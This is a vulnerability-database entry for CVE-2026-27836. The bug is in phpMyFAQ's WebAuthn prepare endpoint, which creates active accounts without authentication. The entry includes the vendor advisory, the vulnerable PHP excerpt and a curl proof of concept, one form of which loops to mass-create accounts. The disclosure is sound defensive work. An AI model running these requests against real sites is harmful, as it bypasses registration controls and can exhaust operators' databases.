CVE-2026-27836
highpriority · track · 0OT risk · elevatedEPSS 0.005 · 39 %ileEUUSEPSS · scored 2026-10-28
phpMyFAQ is an open source FAQ web application. Prior to version 4.0.18, the WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, captcha, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled. Version 4.0.18 fixes the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-w22q-m2fm-x9f4phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint2026-02-27ghsa · osvUS
### Summary The WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled. ### Details **File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79 ```php #[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])] public function prepare(Request $request): JsonResponse { $data = json_decode($request->getContent(), ...); $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS); if (!$this->user->getUserByLogin($username, raiseError: false)) { try { $this->user->createUser($username); $this->user->setStatus(status: 'active'); $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value); $this->user->setUserData([ 'display_name' => $username, 'email' => $username, ]); ``` The endpoint: 1. Accepts any POST request with a JSON `username` field 2. If the username doesn't exist, creates a new **active** user account 3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`) 4. Does NOT check if registration is enabled (`security.enableRegistration`) 5. Does NOT verify CSRF tokens 6. Does NOT require captcha validation 7. Has no rate limiting ### PoC ```bash # Create an account - no auth needed curl -X POST https://TARGET/api/webauthn/prepare \ -H 'Content-Type: application/json' \ -d '{"username":"attacker_account"}' # Mass account creation for i in $(seq 1 1000); do curl -s -X POST https://TARGET/api/webauthn/prepare \ -H 'Content-Type: application/json' \ -d "{\"username\":\"spam_user_$i"}" & done ``` ### Impact - **Registration bypass:** Accounts created even when self-registration is disabled - **Username squatting:** Reserve usernames before legitimate users - **Database exhaustion:** Create millions of fake active accounts (DoS) - **User enumeration:** Different responses for existing vs new usernames - **Security control bypass:** WebAuthn config check is bypassed entirely All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.
also known as (3)
Other names and identifiers for this entity.
sources
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references (8)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-27836cnnvd
- https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1cnnvd
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4cnnvd
- https://www.phpmyfaq.de/download/Patchcnnvd
- https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1enisa_euvd
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4enisa_euvd
- https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1Patchnvd
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4ExploitVendor Advisorynvd
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